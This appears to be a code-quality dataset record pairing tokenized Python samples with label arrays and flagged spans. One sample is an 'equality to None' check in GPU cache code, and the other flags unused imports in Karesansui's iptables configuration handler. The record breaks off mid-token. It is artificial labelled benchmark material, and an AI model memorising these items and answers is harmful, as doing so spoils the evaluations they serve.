[ "[CLS]_", "Test", "ing_", "equality", "_", "to_", "None_", "[SEP]_", "class_", "PS", "IC", "OMP", "\\u", "SS", "RB", "F", "\\u", "GPU", "_", "(_", "PS", "IC", "OMP", "\\u", "RB", "F_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "init", "GPU", "Cache_", "(_", "self_", ",_", "N_", ",_", "M_", ",_", "Q_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "pyc", "uda", "_", "._", "gpu", "array_", "as_", "gpu", "array_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "gpu", "Cache_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "gpu", "Cache_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "l\\u", "gpu", "'_", ":_", "gpu", "array_", "._", "empty_", "(_", "(_", "Q_", ",_", ")_", ",_", "np_", "._", "float64_", ",_", "order_", "=_", "'", "F", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Z", "\\u", "gpu", "'_", ":_", "gpu", "array_", "._", "empty_", "(_", "(_", "M_", ",_", "Q_", ")_", ",_", "np_", "._", "float64_", ",_", "order_", "=_", "'", "F", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "mu", "\\u", "gpu", "'_", ":_", "gpu", "array_", "._", "empty_", "(_", "(_", "N_", ",_", "Q_", ")_", ",_", "np_", "._", "float64_", ",_", "order_", "=_", "'", "F", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "S", "\\u", "gpu", "'_", ":_", "gpu", "array_", "._", "empty_", "(_", "(_", "N_", ",_", "Q_", ")_", ",_", "np_", "._", "float64_", ",_", "order_", "=_", "'", "F", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "gamma", "\\u", "gpu", "'_", ":_", "gpu", "array_", "._", "empty_", "(_", "(_", "N_", ",_", "Q_", ")_", ",_", "np_", "._", "float64_", ",_", "order_", "=_", "'", "F", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "psi", "1", "\\u", "gpu", "'_", ":_", "gpu", "array_", "._", "empty_", "(_", "(_", "N_", ",_", "M_", ")_", ",_", "np_", "._", "float64_", ",_", "order_", "=_", "'", "F", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "psi", "2", "\\u", "gpu", "'_", ":_", "gpu", "array_", "._", "empty_", "(_", "(_", "M_", ",_", "M_", ")_", ",_", "np_", "._", "float64_", ",_", "order_", "=_", "'", "F", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "psi", "2n", "\\u", "gpu", "'_", ":_", "gpu", "array_", "._", "empty_", "(_", "(_", "N_", ",_", "M_", ",_", "M_", ")_", ",_", "np_", "._", "float64_", ",_", "order_", "=_", "'", "F", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "d", "L", "\\u", "dps", "i1", "\\u", "gpu", "'_", ":_", "gpu", "array_", "._", "empty_", "(_", "(_", "N_", ",_", "M_", ")_", ",_", "np_", "._", "float64_", ",_", "order_", "=_", "'", "F", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "d", "L", "\\u", "dps", "i2", "\\u", "gpu", "'_", ":_", "gpu", "array_", "._", "empty_", "(_", "(_", "M_", ",_", "M_", ")_", ",_", "np_", "._", "float64_", ",_", "order_", "=_", "'", "F", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "log", "\\u", "deno", "m1", "\\u", "gpu", "'_", ":_", "gpu", "array_", "._", "empty_", "(_", "(_", "N_", ",_", "Q_", ")_", ",_", "np_", "._", "float64_", ",_", "order_", "=_", "'", "F", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "log", "\\u", "deno", "m2", "\\u", "gpu", "'_", ":_", "gpu", "array_", "._", "empty_", "(_", "(_", "N_", ",_", "Q_", ")_", ",_", "np_", "._", "float64_", ",_", "order_", "=_", "'", "F", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "log", "\\u", "gamma", "\\u", "gpu", "'_", ":_", "gpu", "array_", "._", "empty_", "(_", "(_", "N_", ",_", "Q_", ")_", ",_", "np_", "._", "float64_", ",_", "order_", "=_", "'", "F", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "log", "\\u", "gamma", "1", "\\u", "gpu", "'_", ":_", "gpu", "array_", "._", "empty_", "(_", "(_", "N_", ",_", "Q_", ")_", ",_", "np_", "._", "float64_", ",_", "order_", "=_", "'", "F", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "derivatives", "_", "\\u\\u\\uNL\\u\\u\\u_", "'", "dva", "r", "\\u", "gpu", "'_", ":_", "gpu", "array_", "._", "empty_", "(_", "(_", "self_", "._", "blockn", "um_", ",_", ")_", ",_", "np_", "._", "float64_", ",_", "order_", "=_", "'", "F", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "dl", "\\u", "gpu", "'_", ":_", "gpu", "array_", "._", "empty_", "(_", "(_", "Q_", ",_", "self_", "._", "blockn", "um_", ")_", ",_", "np_", "._", "float64_", ",_", "order_", "=_", "'", "F", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "d", "Z", "\\u", "gpu", "'_", ":_", "gpu", "array_", "._", "empty_", "(_", "(_", "M_", ",_", "Q_", ")_", ",_", "np_", "._", "float64_", ",_", "order_", "=_", "'", "F", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "dm", "u\\u", "gpu", "'_", ":_", "gpu", "array_", "._", "empty_", "(_", "(_", "N_", ",_", "Q_", ",_", "self_", "._", "blockn", "um_", ")_", ",_", "np_", "._", "float64_", ",_", "order_", "=_", "'", "F", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "d", "S", "\\u", "gpu", "'_", ":_", "gpu", "array_", "._", "empty_", "(_", "(_", "N_", ",_", "Q_", ",_", "self_", "._", "blockn", "um_", ")_", ",_", "np_", "._", "float64_", ",_", "order_", "=_", "'", "F", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "dg", "amma", "\\u", "gpu", "'_", ":_", "gpu", "array_", "._", "empty_", "(_", "(_", "N_", ",_", "Q_", ",_", "self_", "._", "blockn", "um_", ")_", ",_", "np_", "._", "float64_", ",_", "order_", "=_", "'", "F", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "grad_", "\\u\\u\\uNL\\u\\u\\u_", "'", "grad", "\\u", "l\\u", "gpu", "'_", ":_", "gpu", "array_", "._", "empty_", "(_", "(_", "Q_", ",_", ")_", ",_", "np_", "._", "float64_", ",_", "order_", "=_", "'", "F", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "grad", "\\u", "mu", "\\u", "gpu", "'_", ":_", "gpu", "array_", "._", "empty_", "(_", "(_", "N_", ",_", "Q_", ",_", ")_", ",_", "np_", "._", "float64_", ",_", "order_", "=_", "'", "F", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "grad", "\\u", "S", "\\u", "gpu", "'_", ":_", "gpu", "array_", "._", "empty_", "(_", "(_", "N_", ",_", "Q_", ",_", ")_", ",_", "np_", "._", "float64_", ",_", "order_", "=_", "'", "F", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "grad", "\\u", "gamma", "\\u", "gpu", "'_", ":_", "gpu", "array_", "._", "empty_", "(_", "(_", "N_", ",_", "Q_", ",_", ")_", ",_", "np_", "._", "float64_", ",_", "order_", "=_", "'", "F", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "N_", "==_", "self_", "._", "gpu", "Cache_", "[_", "'", "mu", "\\u", "gpu", "'_", "]_", "._", "shape_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "M_", "==_", "self_", "._", "gpu", "Cache_", "[_", "'", "Z", "\\u", "gpu", "'_", "]_", "._", "shape_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "Q_", "==_", "self_", "._", "gpu", "Cache_", "[_", "'", "l\\u", "gpu", "'_", "]_", "._", "shape_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
karesansui/karesansui/karesansui/gadget/hostby1iptables.py
[ { "content": "# -*- coding: utf-8 -*-\n#\n# This file is part of Karesansui.\n#\n# Copyright (C) 2009-2012 HDE, Inc.\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n#\n\nimport os\nimport sys\nimport re\nimport time\nimport web\n\nfrom karesansui.lib.rest import Rest, auth\nfrom karesansui.db.access.machine import findbyhost1\nfrom karesansui.lib.utils import get_ifconfig_info, dict_ksort, is_param\nfrom karesansui.lib.conf import read_conf, write_conf\nfrom karesansui.lib.iptables import iptables_lint_contents\n\nfrom karesansui.lib.checker import Checker, \\\n CHECK_EMPTY, CHECK_VALID\n\n\n\n\n\nurls = (\n '/host/(\\d+)/iptables/?(\\.part)$', HostBy1Iptables,\n )\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def validates_iptables_save(obj, host):\n checker = Checker() \n check = True\n\n _ = obj._\n checker.errors = []\n \n if not is_param(obj.input, 'iptables_save'):\n check = False\n checker.add_error(_('\"%s\" is required.') % _('Rule'))\n else:\n\n check = checker.check_string(\n _('Rule'),\n obj.input.iptables_save,\n CHECK_EMPTY | CHECK_VALID,\n '[^-a-zA-Z0-9_\\,\\.\\@\\$\\%\\!\\#\\*\\[\\]\\:\\/\\r\\n\\+ ]+',\n None,\n None,\n ) and check\n\n if check is True:\n ret = iptables_lint_contents(obj.input.iptables_save, obj, host)\n if str(ret) != \"\":\n check = False\n checker.add_error(ret)\n \"\"\"\n m = re.match(\".* line (?P<line>[0-9]+).*\",str(ret))\n if m:\n checker.add_error(\"LINE:\"+m.group(\"line\"))\n \"\"\"\n\n obj.view.alert = checker.errors\n\n return check", "metadata": "root.validates_iptables_save", "header": "['module', '___EOS___']", "index": 40 }, { "content": "class HostBy1Iptables(Rest):\n\n", "metadata": "root.HostBy1Iptables", "header": "['module', '___EOS___']", "index": 77 }, { "content": " @auth\n def _GET(self, *param, **params):\n host_id = self.chk_hostby1(param)\n if host_id is None: return web.notfound()\n\n self.view.host_id = host_id\n self.view.current = get_ifconfig_info()\n\n modules = [\"iptables\"]\n\n host = findbyhost1(self.orm, host_id)\n dop = read_conf(modules, self, host)\n if dop is False:\n return web.internalerror('Internal Server Error. (Timeout)')\n\n config = dop.get(\"iptables\",[\"config\"])\n status = dop.get(\"iptables\",[\"status\"])\n lint = dop.get(\"iptables\",[\"lint\"])\n\n policies = {}\n for _aline in status:\n m = re.match(\"\\*(?P<table>[a-z]+)\",_aline.rstrip())\n if m:\n table = m.group(\"table\")\n policies[table] = {}\n else:\n m = re.match(\":(?P<chain>[A-Z]+) +(?P<policy>[A-Z]+)\",_aline.rstrip())\n if m:\n chain = m.group(\"chain\")\n policy = m.group(\"policy\")\n policies[table][chain] = policy\n\n self.view.config = \"\\n\".join(config)\n self.view.status = \"\\n\".join(status)\n self.view.lint = lint\n self.view.policies = policies\n self.view.result_js = \"\"\n\n return True", "metadata": "root.HostBy1Iptables._GET", "header": "['class', 'HostBy1Iptables', '(', 'Rest', ')', ':', '___EOS___']", "index": 79 }, { "content": " @auth\n def _PUT(self, *param, **params):\n host_id = self.chk_hostby1(param)\n if host_id is None: return web.notfound()\n\n host = findbyhost1(self.orm, host_id)\n if not validates_iptables_save(self, host):\n return web.badrequest(self.view.alert)\n\n from karesansui.lib.dict_op import DictOp\n dop = DictOp()\n dop.addconf(\"iptables\", {})\n dop.set(\"iptables\",[\"config\"],self.input.iptables_save.split(\"\\r\\n\"))\n retval = write_conf(dop, self, host)\n if retval is False:\n return web.internalerror('Internal Server Error. (Adding Task)')\n\n return web.accepted(url=web.ctx.path)", "metadata": "root.HostBy1Iptables._PUT", "header": "['class', 'HostBy1Iptables', '(', 'Rest', ')', ':', '___EOS___']", "index": 119 } ]
[ { "span": "import os", "start_line": 25, "start_column": 0, "end_line": 25, "end_column": 9 }, { "span": "import sys", "start_line": 26, "start_column": 0, "end_line": 26, "end_column": 10 }, { "span": "import time", "start_line": 28, "start_column": 0, "end_line": 28, "end_column": 11 }, { "span": "from karesansui.lib.utils import get_ifconfig_info, dict_ksort, is_param", "start_line": 33, "start_column": 0, "end_line": 33, "end_column": 72 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "file", " ", "is", " ", "part", " ", "of", " ", "Kar", "esa", "nsu", "i", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "C", ")", " ", "200", "9", "-", "2012", " ", "HD", "E", ",", " ", "Inc", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Permi", "ssion", " ", "is", " ", "here", "by", " ", "grant", "ed", ",", " ", "free", " ", "of", " ", "charge", ",", " ", "to", " ", "any", " ", "person", " ", "obtain", "ing", " ", "a", " ", "copy_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "of", " ", "this", " ", "software", " ", "and", " ", "associate", "d", " ", "documentation", " ", "files", " ", "(", "the", " ", "\"", "Sof", "twa", "re", "\")", ",", " ", "to", " ", "deal", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "in", " ", "the", " ", "Sof", "twa", "re", " ", "with", "out", " ", "restriction", ",", " ", "inclu", "ding", " ", "with", "out", " ", "limit", "ation", " ", "the", " ", "rights_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "use", ",", " ", "copy", ",", " ", "modif", "y", ",", " ", "merge", ",", " ", "publi", "sh", ",", " ", "distribute", ",", " ", "subli", "cens", "e", ",", " ", "and", "/", "or", " ", "sell", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "copie", "s", " ", "of", " ", "the", " ", "Sof", "twa", "re", ",", " ", "and", " ", "to", " ", "permit", " ", "person", "s", " ", "to", " ", "who", "m", " ", "the", " ", "Sof", "twa", "re", " ", "is_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "fur", "nish", "ed", " ", "to", " ", "do", " ", "so", ",", " ", "subject", " ", "to", " ", "the", " ", "follow", "ing", " ", "condition", "s", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "above", " ", "copyr", "ight", " ", "notice", " ", "and", " ", "this", " ", "permissi", "on", " ", "notice", " ", "sha", "ll", " ", "be", " ", "include", "d", " ", "in_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "all", " ", "copie", "s", " ", "or", " ", "substa", "nti", "al", " ", "porti", "ons", " ", "of", " ", "the", " ", "Sof", "twa", "re", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "THE", " ", "SOFT", "WARE", " ", "IS", " ", "PROVI", "DED", " ", "\"", "AS", " ", "IS", "\",", " ", "WITH", "OUT", " ", "WAR", "RAN", "TY", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "EXPR", "ESS", " ", "OR_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "IMPL", "IED", ",", " ", "INC", "LU", "DING", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", " ", "THE", " ", "WAR", "RAN", "TIES", " ", "OF", " ", "MER", "CHAN", "TAB", "ILI", "TY", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "FIT", "NESS", " ", "FOR", " ", "A", " ", "PARTI", "CUL", "AR", " ", "PUR", "POS", "E", " ", "AND", " ", "NON", "INF", "RING", "EME", "NT", ".", " ", "IN", " ", "NO", " ", "EVENT", " ", "SHA", "LL", " ", "THE", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "AUTHOR", "S", " ", "OR", " ", "COPY", "RIG", "HT", " ", "HOLD", "ERS", " ", "BE", " ", "LI", "AB", "LE", " ", "FOR", " ", "ANY", " ", "CLA", "IM", ",", " ", "DA", "MAGE", "S", " ", "OR", " ", "OTHER", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "LI", "ABI", "LIT", "Y", ",", " ", "WHE", "THER", " ", "IN", " ", "AN", " ", "ACTI", "ON", " ", "OF", " ", "CONTR", "ACT", ",", " ", "TOR", "T", " ", "OR", " ", "OTHER", "WI", "SE", ",", " ", "ARI", "SIN", "G", " ", "FROM", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "OUT", " ", "OF", " ", "OR", " ", "IN", " ", "CONNECTION", " ", "WITH", " ", "THE", " ", "SOFT", "WARE", " ", "OR", " ", "THE", " ", "USE", " ", "OR", " ", "OTHER", " ", "DEA", "LING", "S", " ", "IN_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "THE", " ", "SOFT", "WARE", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "web_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "kar", "esa", "nsu", "i_", "._", "lib_", "._", "rest_", "import_", "Rest", "_", ",_", "auth_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "kar", "esa", "nsu", "i_", "._", "db_", "._", "access_", "._", "machine_", "import_", "find", "by", "host", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "kar", "esa", "nsu", "i_", "._", "lib_", "._", "utils_", "import_", "get", "\\u", "ifconfig", "\\u", "info_", ",_", "dict", "\\u", "ks", "ort_", ",_", "is", "\\u", "param_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "kar", "esa", "nsu", "i_", "._", "lib_", "._", "conf_", "import_", "read", "\\u", "conf_", ",_", "write", "\\u", "conf_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "kar", "esa", "nsu", "i_", "._", "lib_", "._", "iptables", "_", "import_", "iptables", "\\u", "lint", "\\u", "contents_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "kar", "esa", "nsu", "i_", "._", "lib_", "._", "checker_", "import_", "Checker_", ",_", "CHECK", "\\u", "EMPTY_", ",_", "CHECK", "\\u", "VALID", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "urls_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'/", "host", "/(", "\\\\", "d", "+)", "/", "iptables", "/?", "(\\\\", ".", "part", ")$'_", ",_", "Host", "By", "1", "Ip", "tables_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "validates", "\\u", "iptables", "\\u", "save_", "(_", "obj_", ",_", "host_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "checker_", "=_", "Checker_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u_", "=_", "obj_", "._", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "checker_", "._", "errors_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "is", "\\u", "param_", "(_", "obj_", "._", "input_", ",_", "'", "iptables", "\\u", "save", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "check_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "checker_", "._", "add", "\\u", "error_", "(_", "\\u_", "(_", "'\"", "%", "s", "\"", " ", "is", " ", "require", "d", ".'_", ")_", "%_", "\\u_", "(_", "'", "Rule", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "check_", "=_", "checker_", "._", "check", "\\u", "string_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\\u_", "(_", "'", "Rule", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "obj_", "._", "input_", "._", "iptables", "\\u", "save_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "CHECK", "\\u", "EMPTY_", "|_", "CHECK", "\\u", "VALID", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'[", "^", "-", "a", "-", "z", "A", "-", "Z", "0", "-", "9", "\\u\\\\", ",\\\\", ".\\\\", "@", "\\\\$", "\\\\", "%\\", "\\", "!\\\\", "#", "\\\\*", "\\\\[", "\\\\]", "\\\\:", "\\\\/\\", "\\", "r", "\\\\", "n", "\\\\+", " ", "]+'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "and_", "check_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "check_", "is_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ret_", "=_", "iptables", "\\u", "lint", "\\u", "contents_", "(_", "obj_", "._", "input_", "._", "iptables", "\\u", "save_", ",_", "obj_", ",_", "host_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "str_", "(_", "ret_", ")_", "!=_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "check_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "checker_", "._", "add", "\\u", "error_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "m", " ", "=", " ", "re", ".", "match", "(\".", "*", " ", "line", " ", "(?", "P", "<", "line", ">[", "0", "-", "9", "]+)", ".*", "\",", "str", "(", "ret", "))\\", "10", ";", " ", " ", " ", " ", "if", " ", "m", ":", "\\", "10", ";", " ", " ", "checke", "r", ".", "add", "\\u", "error", "(\"", "LINE", ":\"", "+", "m", ".", "group", "(\"", "line", "\"))", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "obj_", "._", "view_", "._", "alert_", "=_", "checker_", "._", "errors_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "check_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Host", "By", "1", "Ip", "tables_", "(_", "Rest", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Host", "By", "1", "Ip", "tables_", "(_", "Rest", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "auth_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "GET_", "(_", "self_", ",_", "*_", "param_", ",_", "**_", "params_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "host", "\\u", "id_", "=_", "self_", "._", "chk", "\\u", "host", "by", "1_", "(_", "param_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "host", "\\u", "id_", "is_", "None_", ":_", "return_", "web_", "._", "notfound", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "view_", "._", "host", "\\u", "id_", "=_", "host", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "view_", "._", "current_", "=_", "get", "\\u", "ifconfig", "\\u", "info_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "modules_", "=_", "[_", "\"", "iptables", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "host_", "=_", "find", "by", "host", "1_", "(_", "self_", "._", "orm_", ",_", "host", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dop", "_", "=_", "read", "\\u", "conf_", "(_", "modules_", ",_", "self_", ",_", "host_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "dop", "_", "is_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "web_", "._", "internal", "error_", "(_", "'", "Intern", 